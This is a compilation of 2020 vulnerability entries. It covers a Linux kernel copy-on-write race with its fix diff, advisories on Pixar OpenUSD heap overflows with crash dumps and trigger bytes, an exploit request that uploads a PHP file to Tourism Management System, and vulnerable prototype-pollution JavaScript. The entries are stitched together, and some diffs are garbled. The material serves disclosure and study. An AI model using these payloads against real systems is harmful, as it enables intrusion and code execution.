An issue was discovered in __split_huge_pmd in mm/huge_memory.c in the Linux kernel before 5.7.5. The copy-on-write implementation can grant unintended write access because of a race condition in a THP mapcount check, aka CID-c444eb564fb1.

Write protect anon page faults require an accurate mapcount to decide if to break the COW or not. This is implemented in the THP path with reuse\_swap\_page() -> page\_trans\_huge\_map\_swapcount()/page\_trans\_huge\_mapcount(). If the COW triggers while the other processes sharing the page are under a huge pmd split, to do an accurate reading, we must ensure the mapcount isn't computed while it's being transferred from the head page to the tail pages. reuse\_swap\_cache() already runs serialized by the page lock, so it's enough to add the page lock around \_\_split\_huge\_pmd\_locked too, in order to add the missing serialization. Note: the commit in "Fixes" is just to facilitate the backporting, because the code before such commit didn't try to do an accurate THP mapcount calculation and it instead used the page\_count() to decide if to COW or not. Both the page\_count and the pin\_count are THP-wide refcounts, so they're inaccurate if used in reuse\_swap\_page(). Reverting such commit (besides the unrelated fix to the local anon\_vma assignment) would have also opened the window for memory corruption side effects to certain workloads as documented in such commit header. Signed-off-by: Andrea Arcangeli <aarcange@redhat.com> Suggested-by: Jann Horn <jannh@google.com> Reported-by: Jann Horn <jannh@google.com> Acked-by: Kirill A. Shutemov <kirill.shutemov@linux.intel.com> Fixes: 6d0a07edd17c ("mm: thp: calculate the mapcount correctly for THP pages during WP faults") Cc: stable@vger.kernel.org Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

diff --git a/mm/huge\_memory.c b/mm/huge\_memory.c  
index 11fe0b4dbe673..dddc863b3cbcf 100644  
\--- a/mm/huge\_memory.c  
+++ b/mm/huge\_memory.c

@@ -2385,6 +2385,8 @@ void \_\_split\_huge\_pmd(struct vm\_area\_struct \*vma, pmd\_t \*pmd,

{

spinlock\_t \*ptl;

struct mmu\_notifier\_range range;

\+ bool was\_locked = false;

\+ pmd\_t \_pmd;

mmu\_notifier\_range\_init(&range, MMU\_NOTIFY\_CLEAR, 0, vma, vma->vm\_mm,

address & HPAGE\_PMD\_MASK,

@@ -2397,11 +2399,32 @@ void \_\_split\_huge\_pmd(struct vm\_area\_struct \*vma, pmd\_t \*pmd,

\* pmd against. Otherwise we can end up replacing wrong page.

\*/

VM\_BUG\_ON(freeze && !page);

\- if (page && page != pmd\_page(\*pmd))

\- goto out;

\+ if (page) {

\+ VM\_WARN\_ON\_ONCE(!PageLocked(page));

\+ was\_locked = true;

\+ if (page != pmd\_page(\*pmd))

\+ goto out;

\+ }

+repeat:

if (pmd\_trans\_huge(\*pmd)) {

\- page = pmd\_page(\*pmd);

\+ if (!page) {

\+ page = pmd\_page(\*pmd);

\+ if (unlikely(!trylock\_page(page))) {

\+ get\_page(page);

\+ \_pmd = \*pmd;

\+ spin\_unlock(ptl);

\+ lock\_page(page);

\+ spin\_lock(ptl);

\+ if (unlikely(!pmd\_same(\*pmd, \_pmd))) {

\+ unlock\_page(page);

\+ put\_page(page);

\+ page = NULL;

\+ goto repeat;

\+ }

\+ put\_page(page);

\+ }

\+ }

if (PageMlocked(page))

clear\_page\_mlock(page);

} else if (!(pmd\_devmap(\*pmd) || is\_pmd\_migration\_entry(\*pmd)))

@@ -2409,6 +2432,8 @@ void \_\_split\_huge\_pmd(struct vm\_area\_struct \*vma, pmd\_t \*pmd,

\_\_split\_huge\_pmd\_locked(vma, pmd, range.start, freeze);

out:

spin\_unlock(ptl);

\+ if (!was\_locked && page)

\+ unlock\_page(page);

/\*

\* No need to double call mmu\_notifier->invalidate\_range() callback.

\* They are 3 cases to consider inside \_\_split\_huge\_pmd\_locked():

CVE-2020-29368: git/torvalds/linux.git - Linux kernel source tree

In cPanel before 90.0.17, 2FA can be bypassed via a brute-force approach (SEC-575).

CVE-2020-29136: 90 Change Log

An Arbitrary File Upload is discovered in SourceCodester Tourism Management System 1.0 allows the user to conduct remote code execution via admin/create-package.php vulnerable page.

    #Exploit Title: Tourism Management System 1.0 - Arbitrary File Upload
    #Date: 2020-10-19
    #Exploit Author: Ankita Pal & Saurav Shukla
    #Vendor Homepage: https://phpgurukul.com/tourism-management-system-free-download/
    #Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7204
    #Version: V1.0
    #Tested on: Windows 10 + xampp v3.2.4
    
    
    Proof of Concept:::
    
    Step 1: Open the affected URL http://localhost:8081/Tourism%20Management%20System%20-TMS/tms/admin/create-package.php
    
    Step 2: Open Tour Package -> Create
    
    Malicious Request:::
    
    POST /Tourism%20Management%20System%20-TMS/tms/admin/create-package.php HTTP/1.1
    Host: localhost:8081
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-GB,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=---------------------------63824304340061635682865592713
    Content-Length: 1101
    Origin: http://localhost:8081
    Connection: close
    Referer: http://localhost:8081/Tourism%20Management%20System%20-TMS/tms/admin/create-package.php
    Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id
    Upgrade-Insecure-Requests: 1
    
    -----------------------------63824304340061635682865592713
    Content-Disposition: form-data; name="packagename"
    
    Pack1
    -----------------------------63824304340061635682865592713
    Content-Disposition: form-data; name="packagetype"
    
    Family
    -----------------------------63824304340061635682865592713
    Content-Disposition: form-data; name="packagelocation"
    
    Manali
    -----------------------------63824304340061635682865592713
    Content-Disposition: form-data; name="packageprice"
    
    21
    -----------------------------63824304340061635682865592713
    Content-Disposition: form-data; name="packagefeatures"
    
    Free
    -----------------------------63824304340061635682865592713
    Content-Disposition: form-data; name="packagedetails"
    
    Details
    -----------------------------63824304340061635682865592713
    Content-Disposition: form-data; name="packageimage"; filename="file1.php"
    Content-Type: application/octet-stream
    
    <?php
    	phpinfo();
    ?>
    -----------------------------63824304340061635682865592713
    Content-Disposition: form-data; name="submit"
    
    
    -----------------------------63824304340061635682865592713--

CVE-2020-28136: OffSec’s Exploit Database Archive

Improper input validation in the Auto-Discovery component of Nagios XI before 5.7.5 allows an authenticated attacker to execute remote code.

CVE-2020-28648: Nagios XI Change Log - Nagios

Prototype pollution vulnerability in 'controlled-merge' versions 1.0.0 through 1.2.0 allows attacker to cause a denial of service and may lead to remote code execution.

****Upgrade Version****

Upgrade to version controlled-merge - 1.3.0

Learn More

Base Score:

7.5

Attack Vector (AV):

Network

Attack Complexity (AC):

Low

Privileges Required (PR):

None

User Interaction (UI):

None

Scope (S):

Unchanged

Confidentiality (C):

None

Integrity (I):

None

Availability (A):

High

Base Score:

5.0

Access Vector (AV):

Network

Access Complexity (AC):

Low

Authentication (AU):

None

Confidentiality (C):

None

Integrity (I):

None

Availability (A):

Partial

Additional information:

**Related Resources (4)**

CVE-2020-28268: Mend Vulnerability Database

A heap overflow vulnerability exists in Pixar OpenUSD 20.05 when the software parses compressed sections in binary USD files. To trigger this vulnerability, the victim needs to open an attacker-provided malformed file in an instance USDC file format path element token index.

CVE-2020-6147, CVE-2020-6148, CVE-2020-6149, CVE-2020-6150, CVE-2020-6156, CVE-2020-13493

**Summary**

A heap overflow vulnerability exists in Pixar OpenUSD 20.05 when the software parses compressed sections in binary USD files. A specially crafted malformed file can trigger a heap overflow which can result in remote code execution. To trigger this vulnerability, the victim needs to open an attacker-provided malformed file.

**Tested Versions**

Pixar OpenUSD 20.05  
Apple macOS Catalina 10.15.3

**Product URLs**

https://openusd.org

**CVSSv3 Score**

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-122 - Heap-based Buffer Overflow

**Details**

OpenUSD stands for “Open Universal Scene Descriptor” and is a software suite by Pixar that facilitates, among other things, the interchange of arbitrary 3-D scenes that may be composed of many elemental assets.

Most notably, USD and its backing file format usd are used on Apple iOS and macOS as part of the ModelIO framework in support of SceneKit and ARKit for sharing and displaying 3-D scenes in, for example, augmented reality applications. On macOS, these files are automatically rendered to generate thumbnails, while on iOS they can be shared via iMessage and opened with user interaction.

USD binary file format consists of a header pointing to a table of contents that in turn points to individual sections that comprise the whole file. Format specifies that if the format version is 4 or higher, sections content is compressed. Four instances of a heap overflow vulnerability exist in a way USD processes compressed data of specific sections. These are FIELDS,FIELDSETS, PATHS and SPECS.

**CVE-2020-6147 - USDC file format FIELDS section decompression heap overflow**

Following code is responsible for decoding the FIELDS section data (from pxr/usd/usd/crateFile.cpp):

    if (auto fieldsSection = _toc.GetSection(_FieldsSectionName)) {
        reader.Seek(fieldsSection->start);                              [1]
        if (Version(_boot) < Version(0,4,0)) {                          [2]
            _fields = reader.template Read<decltype(_fields)>();
        } else {
            // Compressed fields in 0.4.0.
            auto numFields = reader.template Read<uint64_t>();          [3]
            _fields.resize(numFields);
    
            // Create temporary space for decompressing.
            std::unique_ptr<char[]> compBuffer(
                new char[Usd_IntegerCompression::
                         GetCompressedBufferSize(numFields)]);          [4]
            vector<uint32_t> tmp(numFields);
            auto fieldsSize = reader.template Read<uint64_t>();         [5]
            reader.ReadContiguous(compBuffer.get(), fieldsSize);        [6]
    

In the above code, parser navigates to the beginning of the FIELDS section at \[1\]. If version check at \[2\] resolves that compressed fields are used, a 64 bit value of numFields is read at \[3\] and is subsequently used to calculate the size of the buffer at \[4\]. Another 64 bit value , fieldSize is read at \[5\] which is subsequently used to initiate a buffer read at \[6\]. Data from the file is read into buffer that is sized based on numFields, but is bounded by fieldsSize. Both values are under direct control and no check is performed to insure fieldsSize bytes can fit into the allocated buffer. This can result in buffer overflow on the heap.

**CVE-2020-6148 - USDC file format FIELDSETS section decompression heap overflow**

Following code is responsible for decoding the FIELDSETS section data (from pxr/usd/usd/crateFile.cpp):

    // Compressed fieldSets in 0.4.0.
    auto numFieldSets = reader.template Read<uint64_t>();           [7]
    _fieldSets.resize(numFieldSets);
    
    // Create temporary space for decompressing.
    std::unique_ptr<char[]> compBuffer(
        new char[Usd_IntegerCompression::
                 GetCompressedBufferSize(numFieldSets)]);           [8]
    vector<uint32_t> tmp(numFieldSets);
    std::unique_ptr<char[]> workingSpace(
        new char[Usd_IntegerCompression::
                 GetDecompressionWorkingSpaceSize(numFieldSets)]);
    
    auto fsetsSize = reader.template Read<uint64_t>();              [9]
    reader.ReadContiguous(compBuffer.get(), fsetsSize);             [10]
    

Like in the previous vulnerability, parsing the FIELDSETS section starts with reading numFiledSets at \[7\] which is used to allocate a properly sized buffer at \[8\]. Then, fsetsSize 64 bit value is read at \[9\] and used as a read size argument to a file buffer read at \[10\]. Destination buffer size is calculated based on numFieldSets, but file read at \[10\] reads fsetsSize bytes. This constitutes an buffer overflow on the heap.

**CVE-2020-6149 - USDC file format PATHS section decompression heap overflow**

Following code is responsible for decoding the PATHS section data (from pxr/usd/usd/crateFile.cpp):

    _paths.resize(reader.template Read<uint64_t>());                    [11]
    std::fill(_paths.begin(), _paths.end(), SdfPath());
    
    WorkArenaDispatcher dispatcher;
    // VERSIONING: PathItemHeader changes size from 0.0.1 to 0.1.0.
    Version fileVer(_boot);
    if (fileVer == Version(0,0,1)) {  
        _ReadPathsImpl<_PathItemHeader_0_0_1>(reader, dispatcher);
    } else if (fileVer < Version(0,4,0)) {                             
        _ReadPathsImpl<_PathItemHeader>(reader, dispatcher);
    } else {                                                            [12]
        // 0.4.0 has compressed paths.
        _ReadCompressedPaths(reader, dispatcher);
    }
    

First, a 64 bit value of number of paths is read at \[11\] and a familiar file version check is performed. If the file version is 4 or higher, code at \[12\] proceeds to call _ReadCompressedPaths :

    size_t numPaths = reader.template Read<uint64_t>();                 [13]
    
    pathIndexes.resize(numPaths);
    elementTokenIndexes.resize(numPaths);
    jumps.resize(numPaths);
    
    // Create temporary space for decompressing.
    std::unique_ptr<char[]> compBuffer(
        new char[Usd_IntegerCompression::GetCompressedBufferSize(numPaths)]);      [14]
    std::unique_ptr<char[]> workingSpace(
        new char[Usd_IntegerCompression::
                 GetDecompressionWorkingSpaceSize(numPaths)]);
    
    // pathIndexes.
    auto pathIndexesSize = reader.template Read<uint64_t>();                [15]
    reader.ReadContiguous(compBuffer.get(), pathIndexesSize);               [16]
    

Again, a 64 bit value of numPaths is read into a size_t typed variable at \[13\] and is then used to calculate the size of buffer allocation at \[14\]. Another 64 bit value of pathIndexesSize is read at \[15\] and is subsequently used as a buffer read size value at \[16\]. Since the destination buffer size is based on numPaths value, but file read size on pathIndexesSize, buffer can be made too small to fit the whole read which will result in a buffer overflow on the heap.

**CVE-2020-6150 - USDC file format SPECS section decompression heap overflow**

Following code is responsible for decoding the SPECS section data (from pxr/usd/usd/crateFile.cpp):

    // Version 0.4.0 specs are compressed
    auto numSpecs = reader.template Read<uint64_t>();               [17]
    _specs.resize(numSpecs);
    
    // Create temporary space for decompressing.
    std::unique_ptr<char[]> compBuffer(
        new char[Usd_IntegerCompression::
                 GetCompressedBufferSize(numSpecs)]);               [18]
    vector<uint32_t> tmp(_specs.size());
    std::unique_ptr<char[]> workingSpace(
        new char[Usd_IntegerCompression::
                 GetDecompressionWorkingSpaceSize(numSpecs)]);
    
    // pathIndexes.
    auto pathIndexesSize = reader.template Read<uint64_t>();        [19]
    reader.ReadContiguous(compBuffer.get(), pathIndexesSize);       [20]
    

As with previous vulnerabilities, a 64 bit value is read into numSpecs at \[17\] which is used to calculate the size of the buffer at \[18\]. Actual size of the section data is read at \[19\] into a 64 bit value pathIndexesSize. Notice the reuse of variable name, indicating code copy/pasting. This size value is used as a file read size at \[20\] and can result in a heap based buffer overflow if buffer allocated at \[18\] is too small.

**CVE-2020-6156 - USDC file format path element token index decompression heap overflow**

Section PATHS in the USDC binary file contains three arrays, each encoding parts of a path value. Similarly to already reported CVE-2020-6149, a heap buffer overflow vulnerability exists in a way compressed path elements are processed. Following code is invoked :

    // Read number of encoded paths.
    size_t numPaths = reader.template Read<uint64_t>();                              [1]
    
    pathIndexes.resize(numPaths);
    elementTokenIndexes.resize(numPaths);
    jumps.resize(numPaths);
    
    // Create temporary space for decompressing.
    std::unique_ptr<char[]> compBuffer(
        new char[Usd_IntegerCompression::GetCompressedBufferSize(numPaths)]);        [2]
    std::unique_ptr<char[]> workingSpace(
        new char[Usd_IntegerCompression::
                 GetDecompressionWorkingSpaceSize(numPaths)]);
    
    // pathIndexes.
    auto pathIndexesSize = reader.template Read<uint64_t>();
    reader.ReadContiguous(compBuffer.get(), pathIndexesSize);                                               
    Usd_IntegerCompression::DecompressFromBuffer(
        compBuffer.get(), pathIndexesSize, pathIndexes.data(), numPaths,
        workingSpace.get());
    
    // elementTokenIndexes.
    auto elementTokenIndexesSize = reader.template Read<uint64_t>();                  [3]
    reader.ReadContiguous(compBuffer.get(), elementTokenIndexesSize);                 [4]
    Usd_IntegerCompression::DecompressFromBuffer(
        compBuffer.get(), elementTokenIndexesSize,
        elementTokenIndexes.data(), numPaths, workingSpace.get());
    

First, at \[1\] , a total number of paths to be reconstructed is read. This value is used to calculate the size of compressed buffer at \[2\]. Then, at \[3\] , a compressed size of element token indices is read at \[3\] and a large buffer read at \[4\]. Notice that while the compBuffer is sized based on value read from \[1\], the value in elementTokenIndexSize is used as a read size argument. Both of these value come directly frome the file and, if mismatched, can result in a heap buffer overflow where both allocation and overflow size , as well as overflow contents are under direct control.

**CVE-2020-13493 - USDC file format path jumps decompression heap overflow**

Similarly to above, a heap buffer overflow vulnerability exists in a way path jumps are processed. Following code is invoked right after the previously discussed:

    // jumps.
    auto jumpsSize = reader.template Read<uint64_t>();                                               [5]
    reader.ReadContiguous(compBuffer.get(), jumpsSize);                                           [6]
    Usd_IntegerCompression::DecompressFromBuffer(
        compBuffer.get(), jumpsSize, jumps.data(), numPaths,
        workingSpace.get());
    

As in the previous case, destination buffer compBuffer size is calculated based on calculation at \[2\], but a second value read at \[5\] is used as a size argument to a ReadContiguous call at \[6\]. If the allocated buffer is smaller than the size read at \[6\], this will lead to a heap based buffer overflow.

In this case , the potential attacker controls both the size of allocated memory buffer, the size of the overflow as well as all the data of the overflow which comes directly from the file being read. With proper memory manipulation and control, this can lead to arbitrary code execution.

**Crash Information**

Including crash context for only one instance of the vulnerability. Tested on latest version of macOS Catalina 10.15.3.

        thread #2, queue = 'com.apple.quicklook.thumbnailservicecontext.thumbnailgeneration', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
              frame #0: 0x00007fff6f4f0930 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 496
                frame #1: 0x00007fff3ded2644 ModelIO`___lldb_unnamed_symbol96151$$ModelIO + 158
                frame #2: 0x00007fff3ded1d67 ModelIO`___lldb_unnamed_symbol96148$$ModelIO + 341
                frame #3: 0x00007fff3debf7ef ModelIO`___lldb_unnamed_symbol95659$$ModelIO + 867
                frame #4: 0x00007fff3debf273 ModelIO`___lldb_unnamed_symbol95658$$ModelIO + 517
                frame #5: 0x00007fff3debee89 ModelIO`___lldb_unnamed_symbol95657$$ModelIO + 417
                frame #6: 0x00007fff3debe40d ModelIO`___lldb_unnamed_symbol95646$$ModelIO + 599
                frame #7: 0x00007fff3dfc558d ModelIO`___lldb_unnamed_symbol101370$$ModelIO + 261
                frame #8: 0x00007fff3df7177e ModelIO`___lldb_unnamed_symbol100320$$ModelIO + 258
                frame #9: 0x00007fff3d95c195 ModelIO`___lldb_unnamed_symbol34985$$ModelIO + 1221
                frame #10: 0x00007fff3d95b321 ModelIO`___lldb_unnamed_symbol34982$$ModelIO + 2545
                frame #11: 0x00007fff3d95a593 ModelIO`___lldb_unnamed_symbol34979$$ModelIO + 867
                frame #12: 0x00007fff3df85979 ModelIO`___lldb_unnamed_symbol100531$$ModelIO + 209
                frame #13: 0x00007fff3df85ae0 ModelIO`___lldb_unnamed_symbol100532$$ModelIO + 200
                frame #14: 0x00007fff3d61231a ModelIO`___lldb_unnamed_symbol2606$$ModelIO + 386
                frame #15: 0x00007fff3d592ed6 ModelIO`___lldb_unnamed_symbol670$$ModelIO + 794
                frame #16: 0x00007fff3d592b17 ModelIO`___lldb_unnamed_symbol669$$ModelIO + 97
                frame #17: 0x00007fff43f488d4 SceneKit`loadMDLAssetWithURL + 113
                frame #18: 0x00007fff43dbe878 SceneKit`-[SCNSceneSource _createSceneRefWithOptions:statusHandler:] + 788
                frame #19: 0x00007fff43dbe4a5 SceneKit`-[SCNSceneSource _sceneWithClass:options:statusHandler:] + 1525
                frame #20: 0x00007fff43dbdcd6 SceneKit`-[SCNSceneSource sceneWithClass:options:statusHandler:] + 117
                frame #21: 0x00007fff43dbdc45 SceneKit`-[SCNSceneSource sceneWithClass:options:error:] + 88
                frame #22: 0x0000000102ab25c9 SceneKitQLThumbnailExtension`___lldb_unnamed_symbol1$$SceneKitQLThumbnailExtension + 414
                frame #23: 0x00007fff438e8fb2 QuickLookThumbnailing`__145-[QLThumbnailServiceContext generateThumbnailOfSize:minimumSize:scale:badgeType:withFileURLHandler:additionalResourcesWrapper:completionHandler:]_block_invoke + 432
                frame #24: 0x00007fff6f2a0583 libdispatch.dylib`_dispatch_call_block_and_release + 12
    
            Nearby code:
            libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell:
            ->  0x7fff6f4f0930 <+496>: c5 fc 10 46 e0     vmovups ymm0, ymmword ptr [rsi - 0x20]
                0x7fff6f4f0935 <+501>: 49 89 fb           mov    r11, rdi
                0x7fff6f4f0938 <+504>: 48 83 ef 01        sub    rdi, 0x1
                0x7fff6f4f093c <+508>: 48 83 e7 e0        and    rdi, -0x20
                0x7fff6f4f0940 <+512>: 4c 89 d9           mov    rcx, r11
                0x7fff6f4f0943 <+515>: 48 29 f9           sub    rcx, rdi
                0x7fff6f4f0946 <+518>: 48 29 ce           sub    rsi, rcx
                0x7fff6f4f0949 <+521>: 48 29 ca           sub    rdx, rcx
                0x7fff6f4f094c <+524>: c5 fc 10 4e e0     vmovups ymm1, ymmword ptr [rsi - 0x20]
                0x7fff6f4f0951 <+529>: c4 c1 7c 11 43 e0  vmovups ymmword ptr [r11 - 0x20], ymm0
    
                rax = 0x00007ffa0b55eb10
                rbx = 0x0000000000000000
                rcx = 0x4141414141414141
                rdx = 0x4141414141414141
                rsi = 0x414141424400d36f
                rdi = 0x4141c13b4c972c51
                 r8 = 0x4141414141414141
                 r9 = 0x0000000000000000
                r10 = 0x00000000fffbffff
                r11 = 0x00007ff9089658e2
                r12 = 0x0000700008c499a8
                r13 = 0x0000700008c499a8
                r14 = 0x4141414141414141
                r15 = 0x00007ffa0b55eb10
                rsp = 0x0000700008c498e0
                rbp = 0x0000700008c498e0
                rip = 0x00007fff6f4f0930 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 496
                fla = o d I t s z a p c
    

**Timeline**

2020-07-01 - Vendor Disclosure to Pixar & Apple

2020-11-12 - Public Release

Discovered by Aleksandar Nikolic of Cisco Talos.

CVE-2020-6156: TALOS-2020-1094 || Cisco Talos Intelligence Group

A heap overflow vulnerability exists in the Pixar OpenUSD 20.05 while parsing compressed value rep arrays in binary USD files. A specially crafted malformed file can trigger a heap overflow, which can result in remote code execution. To trigger this vulnerability, the victim needs to access an attacker-provided malformed file.

**Summary**

A heap overflow vulnerability exists in the Pixar OpenUSD 20.05 while parsing compressed value rep arrays in binary USD files. A specially crafted malformed file can trigger a heap overflow, which can result in remote code execution. To trigger this vulnerability, the victim needs to access an attacker-provided malformed file.

**Tested Versions**

Pixar OpenUSD 20.05  
Apple macOS Catalina 10.15.3

**Product URLs**

https://openusd.org

**CVSSv3 Score**

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-122 - Heap-based Buffer Overflow

**Details**

OpenUSD stands for open Universal Scene Descriptor and is a software suite by Pixar that facilitates, among other things, interchange of arbitrary 3-D scenes that may be composed of many elemental assets.

Most notably, USD and its backing file format usd are used on Apple iOS and macOS as part of ModelIO framework in support of SceneKit and ARKit for sharing and displaying 3D scenes in, for example, augmented reality applications. On macOS, these files are automatically rendered to generate thumbnails, while on iOS they can be shared via iMessage and opened with user interaction.

The USD binary file format consists of a header pointing to a table of contents that, in turn, points to individual sections that comprise the whole file. Section FIELDS contains two arrays, the second one labeled as reps. Compressed in binary, this array holds an array of 64-bit integers which encode references to extra data. Encoding consists of three top bits specifying whether the value is inline, compressed or array. Inlined values are directly represented in the first 48 bits, otherwise those 48 bits represent an offset into the file where the actual value can be found. Besides three most significant bits, five are unused and next eight encode one of 54 different value types (ints, floats, matrices, vectors , special types…). Two distinct paths of triggering this heap overflow are present in the way referenced values are accessed and decoded.

When a value from reps array is referenced, if that particular value happens to be an array and is compressed, the following code is invoked for integer types:

    template <class Reader, class T>
    static inline
    typename std::enable_if<
        std::is_same<T, int>::value ||
        std::is_same<T, unsigned int>::value ||
        std::is_same<T, int64_t>::value ||
        std::is_same<T, uint64_t>::value>::type
    _ReadPossiblyCompressedArray(
        Reader reader, ValueRep rep, VtArray<T> *out, CrateFile::Version ver, int)
    {
        // Version 0.5.0 introduced compressed int arrays.
        if (ver < CrateFile::Version(0,5,0) || !rep.IsCompressed()) {
            _ReadUncompressedArray(reader, rep, out, ver);
        }
        else {
            // Read total elements.
                out->resize(ver < CrateFile::Version(0,7,0) ?                     [0]
                        reader.template Read<uint32_t>() :
                        reader.template Read<uint64_t>());
            if (out->size() < MinCompressedArraySize) {
                reader.ReadContiguous(out->data(), out->size());                                  
            } else {
                _ReadCompressedInts(reader, out->data(), out->size());            [1]
            }
        }
    }
    

At \[0\] above, depending on the file version type (greater than 5, but either less or more than 7) either a 32 bit or 64 bit integer size is read from the file. If the size is larger than a minimum compressed size this indicates that the data is indeed compressed so _readCompressedInts is invoked at \[1\]. Following the code:

    template <class Reader, class Int>
    static inline void
    _ReadCompressedInts(Reader reader, Int *out, size_t size)
    {
        using Compressor = typename std::conditional<
            sizeof(Int) == 4,
            Usd_IntegerCompression,
            Usd_IntegerCompression64>::type;
        std::unique_ptr<char[]> compBuffer(
            new char[Compressor::GetCompressedBufferSize(size)]);
                auto compSize = reader.template Read<uint64_t>();                         [3]
        reader.ReadContiguous(compBuffer.get(), compSize);                                [4]
            Compressor::DecompressFromBuffer(compBuffer.get(), compSize, out, size);   
    }
    

In the above code, at \[3\] another 64 bit size value is read from the file and is then directly used as a size of a read operation at \[4\]. Notice that the destination size buffer is allocated based on previously read argument from \[0\]. If the latter size value is bigger than the one calculated from the first, this will lead to a heap buffer overflow.

To trigger this vulnerability, first a specific reps entry needs to be placed in the reps array inside FIELDS section. Here is an example of such entry, decoded:

    580000000000 - offset into file where the value is encoded
    03 - type (int)
    a0 - flags (1010 0000 binary , is array, not inline, is compressed)
    

The specific referenced value to be placed at offset 0x58 into the file can be:

    44 00 00 00 00 00 00 00 - read as size value at [0]
    41 41 00 00 00 00 00 00 - read as size value at [3]
    00 00 00 00 00 00 00 00 - start of buffer
    00 00 00 00 00 00 00 00 - ...
    

Another path to this vulnerability lies in the way other types, like floats, are parsed. If the type specified in the encoded rep entry is 0x8 for float, instead of 0x3 for int, the following code is invoked:

    template <class Reader, class T>
    static inline
    typename std::enable_if<
        std::is_same<T, GfHalf>::value ||
        std::is_same<T, float>::value ||
        std::is_same<T, double>::value>::type
    _ReadPossiblyCompressedArray(
        Reader reader, ValueRep rep, VtArray<T> *out, CrateFile::Version ver, int)
    {
        // Version 0.6.0 introduced compressed floating point arrays.
        if (ver < CrateFile::Version(0,6,0) || !rep.IsCompressed()) {
            _ReadUncompressedArray(reader, rep, out, ver);
            return;
        }
    
        out->resize(ver < CrateFile::Version(0,7,0) ?                                     [4]
                    reader.template Read<uint32_t>() :
                    reader.template Read<uint64_t>());
        auto odata = out->data();
        auto osize = out->size();
    
        if (osize < MinCompressedArraySize) {
            // Not stored compressed.
            reader.ReadContiguous(odata, osize);
            return;
        }
    
        // Read the code
        char code = reader.template Read<int8_t>();
        if (code == 'i') {                                                                [5]
            // Compressed integers.
            vector<int32_t> ints(osize);
            _ReadCompressedInts(reader, ints.data(), ints.size());                        [6]
            std::copy(ints.begin(), ints.end(), odata);
        }
    

Similarly as before, a version check is performed at \[4\] and size is read. Additionally, a type of value is encoded by a char literal (either i or t) which is checked at \[5\]. If this literal is i, the same _ReadCompressedInts function is invoked which can lead to heap buffer overflow.

In this case, the potential attacker controls both the size of allocated memory buffer, the size of the overflow as well as all the data of the overflow which comes directly from the file being read. With proper memory manipulation and control, this can lead to arbitrary code execution.

**Timeline**

2020-07-01 - Vendor Disclosure

2020-07-14 - Talos tested and confirmed fix with latest beta of macOS Catalina 10.15.6  
2020-11-12 - Public Release

Discovered by Aleksandar Nikolic of Cisco Talos.

CVE-2020-6155: TALOS-2020-1101 || Cisco Talos Intelligence Group

Prototype pollution vulnerability in 'field' versions 0.0.1 through 1.0.1 allows attacker to cause a denial of service and may lead to remote code execution.

This repository has been archived by the owner before Nov 9, 2022. It is now read-only.

Permalink

Cannot retrieve contributors at this time

var assert \= require('assert')

var FIELD\_REGEX \= /\\.|\\:/

function get (topObj, fields) {

if (typeof topObj \=== 'string' && arguments.length \=== 1) {

fields \= topObj

topObj \= this // hopefully using bind

}

assert(typeof fields \=== 'string', 'field.get(): must pass in a field string.')

fields \= split(fields)

function moveUp (obj, field) {

if (typeof obj\[field\] !== 'undefined') { // we care about falsey values

if (fields.length \=== 0) return obj\[field\]

else return moveUp(obj\[field\], fields.shift())

} else {

return undefined

}

}

return moveUp(topObj, fields.shift())

}

function set (topObj, fields, value) {

if (typeof topObj \=== 'string' && arguments.length \=== 2) {

value \= fields

fields \= topObj

topObj \= this // hopefully using bind

}

assert(typeof fields \=== 'string', 'field.get(): must pass in a field string.')

fields \= split(fields)

function moveUp (obj, field, value) {

if (typeof obj\[field\] !== 'undefined') { // we care about falsey values

if (fields.length \=== 0) {

var oldVal \= obj\[field\]

obj\[field\] \= value

return oldVal

} else {

if (typeof obj\[field\] !== 'object') { // we have more fields to go, so we need to replace the current non-object

obj\[field\] \= {}

}

return moveUp(obj\[field\], fields.shift(), value)

}

} else {

// keep going if necessary

if (fields.length \=== 0) {

obj\[field\] \= value

return undefined

} else {

// var newField = fields.shift()

obj\[field\] \= {}// {newField: value}

return moveUp(obj\[field\], fields.shift(), value)

}

}

}

return moveUp(topObj, fields.shift(), value)

}

// hacky way to split '../domwindow:localStorage.getItem'

// i.e. we want all '.' after ':'

function split (str) {

if (str.indexOf(':') \>= 0) {

var parts \= str.split(':')

var m \= parts.shift()

parts \= parts.join(':').split(FIELD\_REGEX)

parts.unshift(m)

return parts

} else {

return str.split(FIELD\_REGEX)

}

}

module.exports \= {

get: get,

set: set

}

CVE-2020-28269: field/field.js at 2a3811dfc4cdd13833977477d2533534fc61ce06 · jprichardson/field

Prototype pollution vulnerability in 'deephas' versions 1.0.0 through 1.0.5 allows attacker to cause a denial of service and may lead to remote code execution.

@@ -8,7 +8,7 @@ var indexFalse, set;  
function indexer(set) { return function(obj, i) { return function (obj, i) { "use strict"; try { if (obj && i && obj.hasOwnProperty(i)) { @@ -18,7 +18,7 @@ function indexer(set) { return obj\[i\]; } return; } catch(ex) { } catch (ex) { console.error(ex); return; } @@ -31,15 +31,15 @@ indexFalse = indexer(false); function reduce(obj, str) { "use strict"; try { if ( typeof str !== "string") { if (typeof str !== "string") { return; } if ( typeof obj !== "object") { if (typeof obj !== "object") { return; } return str.split('.').reduce(indexFalse, obj);  
